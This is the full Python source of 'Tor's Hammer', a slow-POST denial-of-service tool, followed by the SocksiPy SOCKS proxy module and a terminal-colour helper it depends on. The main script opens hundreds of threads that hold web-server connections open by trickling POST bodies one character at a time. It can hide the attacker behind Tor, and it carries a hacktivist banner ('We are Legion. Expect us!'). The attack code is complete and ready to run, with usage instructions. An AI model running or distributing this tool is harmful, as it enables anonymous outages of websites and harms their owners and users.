torshammer.py

import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal

from threading import Thread

global stop_now
global term

stop_now = False
term = terminal.TerminalController()

useragents = [
 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
 "Googlebot/2.1 (http://www.googlebot.com/bot.html)",
 "Opera/9.20 (Windows NT 6.0; U; en)",
 "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
 "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
 "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
 "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
 "Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)", # maybe not
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
 "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
 "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
 "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
 "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
 "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
 "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7",
 "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
 "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
 "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)"
]

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True
		
    def _send_http_post(self, pause=10):
        global stop_now

        self.socks.send("POST / HTTP/1.1\r\n"
                        "Host: %s\r\n"
                        "User-Agent: %s\r\n"
                        "Connection: keep-alive\r\n"
                        "Keep-Alive: 900\r\n"
                        "Content-Length: 10000\r\n"
                        "Content-Type: application/x-www-form-urlencoded\r\n\r\n" % 
                        (self.host, random.choice(useragents)))

        for i in range(0, 9999):
            if stop_now:
                self.running = False
                break
            p = random.choice(string.letters+string.digits)
            print term.BOL+term.UP+term.CLEAR_EOL+"Posting: %s" % p+term.NORMAL
            self.socks.send(p)
            time.sleep(random.uniform(0.1, 3))
	
        self.socks.close()
		
    def run(self):
        while self.running:
            while self.running:
                try:
                    if self.tor:     
                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
                    self.socks.connect((self.host, self.port))
                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
                    break
                except Exception, e:
                    if e.args[0] == 106 or e.args[0] == 60:
                        break
                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
                    time.sleep(1)
                    continue
	
            while self.running:
                try:
                    self._send_http_post()
                except Exception, e:
                    if e.args[0] == 32 or e.args[0] == 104:
                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
                        self.socks = socks.socksocket()
                        break
                    time.sleep(0.1)
                    pass
 
def usage():
    print "./torshammer.py -t <target> [-r <threads> -p <port> -T -h]"
    print " -t|--target <Hostname|IP>"
    print " -r|--threads <Number of threads> Defaults to 256"
    print " -p|--port <Web Server Port> Defaults to 80"
    print " -T|--tor Enable anonymising through tor on 127.0.0.1:9050"
    print " -h|--help Shows this help\n" 
    print "Eg. ./torshammer.py -t 192.168.1.100 -r 256\n"

def main(argv):
    
    try:
        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
    except getopt.GetoptError:
        usage() 
        sys.exit(-1)

    global stop_now
	
    target = ''
    threads = 256
    tor = False
    port = 80

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        if o in ("-T", "--tor"):
            tor = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-p", "--port"):
            port = int(a)

    if target == '' or int(threads) <= 0:
        usage()
        sys.exit(-1)

    print term.DOWN + term.RED + "/*" + term.NORMAL
    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL

    rthreads = []
    for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
        except KeyboardInterrupt:
            print "\nShutting down threads...\n"
            for t in rthreads:
                stop_now = True
                t.running = False

if __name__ == "__main__":
    print "\n/*"
    print " *"+term.RED + " Tor's Hammer "+term.NORMAL
    print " * Slow POST DoS Testing Tool"
    print " * Version 1.0 Beta"
    print " * Anon-ymized via Tor"
    print " * We are 1775Sec."
    print " * We are Legion."
    print " * Expect us!"
    print " */\n"

    main(sys.argv[1:])

###################################################################################################################
###################################################SAVE AS socks.py################################################

"""SocksiPy - Python SOCKS module.
Version 1.00

   This module provides a standard socket-like interface for Python
for tunneling connections through SOCKS proxies.

"""

import socket
import struct

PROXY_TYPE_SOCKS4 = 1
PROXY_TYPE_SOCKS5 = 2
PROXY_TYPE_HTTP = 3

_defaultproxy = None
_orgsocket = socket.socket

class ProxyError(Exception):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)

class GeneralProxyError(ProxyError):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)

class Socks5AuthError(ProxyError):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)

class Socks5Error(ProxyError):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)

class Socks4Error(ProxyError):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)

class HTTPError(ProxyError):
	def __init__(self, value):
		self.value = value
	def __str__(self):
		return repr(self.value)

_generalerrors = ("success",
		   "invalid data",
		   "not connected",
		   "not available",
		   "bad proxy type",
		   "bad input")

_socks5errors = ("succeeded",
		  "general SOCKS server failure",
		  "connection not allowed by ruleset",
		  "Network unreachable",
		  "Host unreachable",
		  "Connection refused",
		  "TTL expired",
		  "Command not supported",
		  "Address type not supported",
		  "Unknown error")

_socks5autherrors = ("succeeded",
		      "authentication is required",
		      "all offered authentication methods were rejected",
		      "unknown username or invalid password",
		      "unknown error")

_socks4errors = ("request granted",
		  "request rejected or failed",
		  "request rejected because SOCKS server cannot connect to identd on the client",
		  "request rejected because the client program and identd report different user-ids",
		  "unknown error")

def setdefaultproxy(proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
	"""setdefaultproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
	Sets a default proxy which all further socksocket objects will use,
	unless explicitly changed.
	"""
	global _defaultproxy
	_defaultproxy = (proxytype,addr,port,rdns,username,password)
	
class socksocket(socket.socket):
	"""socksocket([family[, type[, proto]]]) -> socket object
	
	Open a SOCKS enabled socket. The parameters are the same as
	those of the standard socket init. In order for SOCKS to work,
	you must specify family=AF_INET, type=SOCK_STREAM and proto=0.
	"""
	
	def __init__(self, family=socket.AF_INET, type=socket.SOCK_STREAM, proto=0, _sock=None):
		_orgsocket.__init__(self,family,type,proto,_sock)
		if _defaultproxy != None:
			self.__proxy = _defaultproxy
		else:
			self.__proxy = (None, None, None, None, None, None)
		self.__proxysockname = None
		self.__proxypeername = None
	
	def __recvall(self, bytes):
		"""__recvall(bytes) -> data
		Receive EXACTLY the number of bytes requested from the socket.
		Blocks until the required number of bytes have been received.
		"""
		data = ""
		while len(data) < bytes:
			data = data + self.recv(bytes-len(data))
		return data
	
	def setproxy(self,proxytype=None,addr=None,port=None,rdns=True,username=None,password=None):
		"""setproxy(proxytype, addr[, port[, rdns[, username[, password]]]])
		Sets the proxy to be used.
		proxytype -	The type of the proxy to be used. Three types
				are supported: PROXY_TYPE_SOCKS4 (including socks4a),
				PROXY_TYPE_SOCKS5 and PROXY_TYPE_HTTP
		addr -		The address of the server (IP or DNS).
		port -		The port of the server. Defaults to 1080 for SOCKS
				servers and 8080 for HTTP proxy servers.
		rdns -		Should DNS queries be preformed on the remote side
				(rather than the local side). The default is True.
				Note: This has no effect with SOCKS4 servers.
		username -	Username to authenticate with to the server.
				The default is no authentication.
		password -	Password to authenticate with to the server.
				Only relevant when username is also provided.
		"""
		self.__proxy = (proxytype,addr,port,rdns,username,password)
	
	def __negotiatesocks5(self,destaddr,destport):
		"""__negotiatesocks5(self,destaddr,destport)
		Negotiates a connection through a SOCKS5 server.
		"""
		# First we'll send the authentication packages we support.
		if (self.__proxy[4]!=None) and (self.__proxy[5]!=None):
			# The username/password details were supplied to the
			# setproxy method so we support the USERNAME/PASSWORD
			# authentication (in addition to the standard none).
			self.sendall("\x05\x02\x00\x02")
		else:
			# No username/password were entered, therefore we
			# only support connections with no authentication.
			self.sendall("\x05\x01\x00")
		# We'll receive the server's response to determine which
		# method was selected
		chosenauth = self.__recvall(2)
		if chosenauth[0] != "\x05":
			self.close()
			raise GeneralProxyError((1,_generalerrors[1]))
		# Check the chosen authentication method
		if chosenauth[1] == "\x00":
			# No authentication is required
			pass
		elif chosenauth[1] == "\x02":
			# Okay, we need to perform a basic username/password
			# authentication.
			self.sendall("\x01" + chr(len(self.__proxy[4])) + self.__proxy[4] + chr(len(self.proxy[5])) + self.__proxy[5])
			authstat = self.__recvall(2)
			if authstat[0] != "\x01":
				# Bad response
				self.close()
				raise GeneralProxyError((1,_generalerrors[1]))
			if authstat[1] != "\x00":
				# Authentication failed
				self.close()
				raise Socks5AuthError,((3,_socks5autherrors[3]))
			# Authentication succeeded
		else:
			# Reaching here is always bad
			self.close()
			if chosenauth[1] == "\xFF":
				raise Socks5AuthError((2,_socks5autherrors[2]))
			else:
				raise GeneralProxyError((1,_generalerrors[1]))
		# Now we can request the actual connection
		req = "\x05\x01\x00"
		# If the given destination address is an IP address, we'll
		# use the IPv4 address request even if remote resolving was specified.
		try:
			ipaddr = socket.inet_aton(destaddr)
			req = req + "\x01" + ipaddr
		except socket.error:
			# Well it's not an IP number,  so it's probably a DNS name.
			if self.__proxy[3]==True:
				# Resolve remotely
				ipaddr = None
				req = req + "\x03" + chr(len(destaddr)) + destaddr
			else:
				# Resolve locally
				ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
				req = req + "\x01" + ipaddr
		req = req + struct.pack(">H",destport)
		self.sendall(req)
		# Get the response
		resp = self.__recvall(4)
		if resp[0] != "\x05":
			self.close()
			raise GeneralProxyError((1,_generalerrors[1]))
		elif resp[1] != "\x00":
			# Connection failed
			self.close()
			if ord(resp[1])<=8:
				raise Socks5Error(ord(resp[1]),_generalerrors[ord(resp[1])])
			else:
				raise Socks5Error(9,_generalerrors[9])
		# Get the bound address/port
		elif resp[3] == "\x01":
			boundaddr = self.__recvall(4)
		elif resp[3] == "\x03":
			resp = resp + self.recv(1)
			boundaddr = self.__recvall(resp[4])
		else:
			self.close()
			raise GeneralProxyError((1,_generalerrors[1]))
		boundport = struct.unpack(">H",self.__recvall(2))[0]
		self.__proxysockname = (boundaddr,boundport)
		if ipaddr != None:
			self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
		else:
			self.__proxypeername = (destaddr,destport)
	
	def getproxysockname(self):
		"""getsockname() -> address info
		Returns the bound IP address and port number at the proxy.
		"""
		return self.__proxysockname
	
	def getproxypeername(self):
		"""getproxypeername() -> address info
		Returns the IP and port number of the proxy.
		"""
		return _orgsocket.getpeername(self)
	
	def getpeername(self):
		"""getpeername() -> address info
		Returns the IP address and port number of the destination
		machine (note: getproxypeername returns the proxy)
		"""
		return self.__proxypeername
	
	def __negotiatesocks4(self,destaddr,destport):
		"""__negotiatesocks4(self,destaddr,destport)
		Negotiates a connection through a SOCKS4 server.
		"""
		# Check if the destination address provided is an IP address
		rmtrslv = False
		try:
			ipaddr = socket.inet_aton(destaddr)
		except socket.error:
			# It's a DNS name. Check where it should be resolved.
			if self.__proxy[3]==True:
				ipaddr = "\x00\x00\x00\x01"
				rmtrslv = True
			else:
				ipaddr = socket.inet_aton(socket.gethostbyname(destaddr))
		# Construct the request packet
		req = "\x04\x01" + struct.pack(">H",destport) + ipaddr
		# The username parameter is considered userid for SOCKS4
		if self.__proxy[4] != None:
			req = req + self.__proxy[4]
		req = req + "\x00"
		# DNS name if remote resolving is required
		# NOTE: This is actually an extension to the SOCKS4 protocol
		# called SOCKS4A and may not be supported in all cases.
		if rmtrslv==True:
			req = req + destaddr + "\x00"
		self.sendall(req)
		# Get the response from the server
		resp = self.__recvall(8)
		if resp[0] != "\x00":
			# Bad data
			self.close()
			raise GeneralProxyError((1,_generalerrors[1]))
		if resp[1] != "\x5A":
			# Server returned an error
			self.close()
			if ord(resp[1]) in (91,92,93):
				self.close()
				raise Socks4Error((ord(resp[1]),_socks4errors[ord(resp[1])-90]))
			else:
				raise Socks4Error((94,_socks4errors[4]))
		# Get the bound address/port
		self.__proxysockname = (socket.inet_ntoa(resp[4:]),struct.unpack(">H",resp[2:4])[0])
		if rmtrslv != None:
			self.__proxypeername = (socket.inet_ntoa(ipaddr),destport)
		else:
			self.__proxypeername = (destaddr,destport)
	
	def __negotiatehttp(self,destaddr,destport):
		"""__negotiatehttp(self,destaddr,destport)
		Negotiates a connection through an HTTP server.
		"""
		# If we need to resolve locally, we do this now
		if self.__proxy[3] == False:
			addr = socket.gethostbyname(destaddr)
		else:
			addr = destaddr
		self.sendall("CONNECT " + addr + ":" + str(destport) + " HTTP/1.1\r\n" + "Host: " + destaddr + "\r\n\r\n")
		# We read the response until we get the string "\r\n\r\n"
		resp = self.recv(1)
		while resp.find("\r\n\r\n")==-1:
			resp = resp + self.recv(1)
		# We just need the first line to check if the connection
		# was successful
		statusline = resp.splitlines()[0].split(" ",2)
		if statusline[0] not in ("HTTP/1.0","HTTP/1.1"):
			self.close()
			raise GeneralProxyError((1,_generalerrors[1]))
		try:
			statuscode = int(statusline[1])
		except ValueError:
			self.close()
			raise GeneralProxyError((1,_generalerrors[1]))
		if statuscode != 200:
			self.close()
			raise HTTPError((statuscode,statusline[2]))
		self.__proxysockname = ("0.0.0.0",0)
		self.__proxypeername = (addr,destport)
	
	def connect(self,destpair):
		"""connect(self,despair)
		Connects to the specified destination through a proxy.
		destpar - A tuple of the IP/DNS address and the port number.
		(identical to socket's connect).
		To select the proxy server use setproxy().
		"""
		# Do a minimal input check first
		if (type(destpair) in (list,tuple)==False) or (len(destpair)<2) or (type(destpair[0])!=str) or (type(destpair[1])!=int):
			raise GeneralProxyError((5,_generalerrors[5]))
		if self.__proxy[0] == PROXY_TYPE_SOCKS5:
			if self.__proxy[2] != None:
				portnum = self.__proxy[2]
			else:
				portnum = 1080
			_orgsocket.connect(self,(self.__proxy[1],portnum))
			self.__negotiatesocks5(destpair[0],destpair[1])
		elif self.__proxy[0] == PROXY_TYPE_SOCKS4:
			if self.__proxy[2] != None:
				portnum = self.__proxy[2]
			else:
				portnum = 1080
			_orgsocket.connect(self,(self.__proxy[1],portnum))
			self.__negotiatesocks4(destpair[0],destpair[1])
		elif self.__proxy[0] == PROXY_TYPE_HTTP:
			if self.__proxy[2] != None:
				portnum = self.__proxy[2]
			else:
				portnum = 8080
			_orgsocket.connect(self,(self.__proxy[1],portnum))
			self.__negotiatehttp(destpair[0],destpair[1])
		elif self.__proxy[0] == None:
			_orgsocket.connect(self,(destpair[0],destpair[1]))
		else:
			raise GeneralProxyError((4,_generalerrors[4]))


##################################################################################################################################################################SAVE AS Terminal.py################################################


import sys, re

class TerminalController:
    """
    A class that can be used to portably generate formatted output to
    a terminal.  
    
    `TerminalController` defines a set of instance variables whose
    values are initialized to the control sequence necessary to
    perform a given action.  These can be simply included in normal
    output to the terminal:

        >>> term = TerminalController()
        >>> print 'This is '+term.GREEN+'green'+term.NORMAL

    Alternatively, the `render()` method can used, which replaces
    '${action}' with the string required to perform 'action':

        >>> term = TerminalController()
        >>> print term.render('This is ${GREEN}green${NORMAL}')

    If the terminal doesn't support a given action, then the value of
    the corresponding instance variable will be set to ''.  As a
    result, the above code will still work on terminals that do not
    support color, except that their output will not be colored.
    Also, this means that you can test whether the terminal supports a
    given action by simply testing the truth value of the
    corresponding instance variable:

        >>> term = TerminalController()
        >>> if term.CLEAR_SCREEN:
        ...     print 'This terminal supports clearning the screen.'

    Finally, if the width and height of the terminal are known, then
    they will be stored in the `COLS` and `LINES` attributes.
    """
    # Cursor movement:
    BOL = ''             #: Move the cursor to the beginning of the line
    UP = ''              #: Move the cursor up one line
    DOWN = ''            #: Move the cursor down one line
    LEFT = ''            #: Move the cursor left one char
    RIGHT = ''           #: Move the cursor right one char

    # Deletion:
    CLEAR_SCREEN = ''    #: Clear the screen and move to home position
    CLEAR_EOL = ''       #: Clear to the end of the line.
    CLEAR_BOL = ''       #: Clear to the beginning of the line.
    CLEAR_EOS = ''       #: Clear to the end of the screen

    # Output modes:
    BOLD = ''            #: Turn on bold mode
    BLINK = ''           #: Turn on blink mode
    DIM = ''             #: Turn on half-bright mode
    REVERSE = ''         #: Turn on reverse-video mode
    NORMAL = ''          #: Turn off all modes

    # Cursor display:
    HIDE_CURSOR = ''     #: Make the cursor invisible
    SHOW_CURSOR = ''     #: Make the cursor visible

    # Terminal size:
    COLS = None          #: Width of the terminal (None for unknown)
    LINES = None         #: Height of the terminal (None for unknown)

    # Foreground colors:
    BLACK = BLUE = GREEN = CYAN = RED = MAGENTA = YELLOW = WHITE = ''
    
    # Background colors:
    BG_BLACK = BG_BLUE = BG_GREEN = BG_CYAN = ''
    BG_RED = BG_MAGENTA = BG_YELLOW = BG_WHITE = ''
    
    _STRING_CAPABILITIES = """
    BOL=cr UP=cuu1 DOWN=cud1 LEFT=cub1 RIGHT=cuf1
    CLEAR_SCREEN=clear CLEAR_EOL=el CLEAR_BOL=el1 CLEAR_EOS=ed BOLD=bold
    BLINK=blink DIM=dim REVERSE=rev UNDERLINE=smul NORMAL=sgr0
    HIDE_CURSOR=cinvis SHOW_CURSOR=cnorm""".split()
    _COLORS = """BLACK BLUE GREEN CYAN RED MAGENTA YELLOW WHITE""".split()

    def __init__(self, term_stream=sys.stdout):
        """
        Create a `TerminalController` and initialize its attributes
        with appropriate values for the current terminal.
        `term_stream` is the stream that will be used for terminal
        output; if this stream is not a tty, then the terminal is
        assumed to be a dumb terminal (i.e., have no capabilities).
        """
        # Curses isn't available on all platforms
        try: import curses
        except: return

        # If the stream isn't a tty, then assume it has no capabilities.
        if not term_stream.isatty(): return

        # Check the terminal type.  If we fail, then assume that the
        # terminal has no capabilities.
        try: curses.setupterm()
        except: return

        # Look up numeric capabilities.
        self.COLS = curses.tigetnum('cols')
        self.LINES = curses.tigetnum('lines')
        
        # Look up string capabilities.
        for capability in self._STRING_CAPABILITIES:
            (attrib, cap_name) = capability.split('=')
            setattr(self, attrib, self._tigetstr(cap_name) or '')

        # Colors
        set_fg = self._tigetstr('setf')
        if set_fg:
            for i,color in zip(range(len(self._COLORS)), self._COLORS):
                setattr(self, color, curses.tparm(set_fg, i) or '')
        set_bg = self._tigetstr('setb')
        if set_bg:
            for i,color in zip(range(len(self._COLORS)), self._COLORS):
                setattr(self, 'BG_'+color, curses.tparm(set_bg, i) or '')

    def _tigetstr(self, cap_name):
        # String capabilities can include "delays" of the form "$<2>".
        # For any modern terminal, we should be able to just ignore
        # these, so strip them out.
        import curses
        cap = curses.tigetstr(cap_name) or ''
        return re.sub(r'\$<\d+>[/*]?', '', cap)

    def render(self, template):
        """
        Replace each $-substitutions in the given template string with
        the corresponding terminal control string (if it's defined) or
        '' (if it's not).
        """
        return re.sub(r'\$\$|\${\w+}', self._render_sub, template)

    def _render_sub(self, match):
        s = match.group()
        if s == '$$': return s
        else: return getattr(self, s[2:-1])

#######################################################################
# Example use case: progress bar
#######################################################################

class ProgressBar:
    """
    A 3-line progress bar, which looks like::
    
                                Header
        20% [===========----------------------------------]
                           progress message

    The progress bar is colored, if the terminal supports color
    output; and adjusts to the width of the terminal.
    """
    BAR = '%3d%% ${GREEN}[${BOLD}%s%s${NORMAL}${GREEN}]${NORMAL}\n'
    HEADER = '${BOLD}${CYAN}%s${NORMAL}\n\n'
        
    def __init__(self, term, header):
        self.term = term
        if not (self.term.CLEAR_EOL and self.term.UP and self.term.BOL):
            raise ValueError("Terminal isn't capable enough -- you "
                             "should use a simpler progress dispaly.")
        self.width = self.term.COLS or 75
        self.bar = term.render(self.BAR)
        self.header = self.term.render(self.HEADER % header.center(self.width))
        self.cleared = 1 #: true if we haven't drawn the bar yet.
        self.update(0, '')

    def update(self, percent, message):
        if self.cleared:
            sys.stdout.write(self.header)
            self.cleared = 0
        n = int((self.width-10)*percent)
        sys.stdout.write(
            self.term.BOL + self.term.UP + self.term.CLEAR_EOL +
            (self.bar % (100*percent, '='*n, '-'*(self.width-10-n))) +
            self.term.CLEAR_EOL + message.center(self.width))

    def clear(self):
        if not self.cleared:
            sys.stdout.write(self.term.BOL + self.term.CLEAR_EOL +
                             self.term.UP + self.term.CLEAR_EOL +
                             self.term.UP + self.term.CLEAR_EOL)
            self.cleared = 1